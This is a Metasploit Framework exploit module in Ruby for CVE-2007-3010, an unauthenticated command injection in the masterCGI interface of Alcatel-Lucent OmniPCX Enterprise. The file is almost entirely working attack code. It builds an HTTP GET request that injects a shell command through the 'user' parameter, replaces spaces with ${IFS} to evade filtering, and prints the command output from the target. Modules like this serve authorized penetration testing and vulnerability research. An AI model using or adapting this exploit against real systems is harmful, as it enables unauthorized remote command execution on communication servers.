Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = ManualRanking # Only interactive single commands supported

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',

                        'Description'    => %q{

                                        This module abuses a metacharacter injection vulnerability in the

                                HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise

                                Communication Server 7.1 and earlier. The Unified Maintenance Tool

                                contains a 'masterCGI' binary which allows an unauthenticated attacker

                                to execute arbitrary commands by specifing shell metacharaters as the

                                'user' within the 'ping' action to obtain 'httpd' user access. This

                                module only supports command line payloads, as the httpd process kills

                                the reverse/bind shell spawn after the HTTP 200 OK response.

                        },

                        'Author'         => [ 'patrick' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '40521' ],

                                        [ 'BID', '25694' ],

                                        [ 'CVE', '2007-3010' ],

                                        [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],

                                ],

                        'Platform'       => ['unix'],

                        'Arch'           => ARCH_CMD,

                        'Privileged'     => false,

                        'Payload'        =>

                                {

                                        'Space'       => 1024,

                                        'DisableNops' => true,

                                        'Compat'      =>

                                                {

                                                        'PayloadType' => 'cmd',

                                                        'RequiredCmd' => 'generic'

                                                }

                                },

                        'Targets'        =>

                                [

                                        [ 'Automatic Target', { }]

                                ],

                        'DefaultTarget' => 0,

                        'DisclosureDate' => 'Sep 09 2007'))

                register_options(

                        [

                                Opt::RPORT(443),

                                OptBool.new('SSL', [true, 'Use SSL', true]),

                        ], self.class)

        end

        def exploit

                connect

                cmd = payload.encoded.gsub(" ", '${IFS}')

                req =

                        "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +

                        "Host: #{rhost}\r\n\r\n"

                print_status("Sending GET request with command line payload...")

                sock.put(req)

                res = sock.get(3,3)

                if (res =~ /<h5>(.*)<\/h5>/smi)

                        out = $1

                        print_line(out.gsub(/<h5>|<\/h5>/, ''))

                        return

                end

                handler

                disconnect

        end

end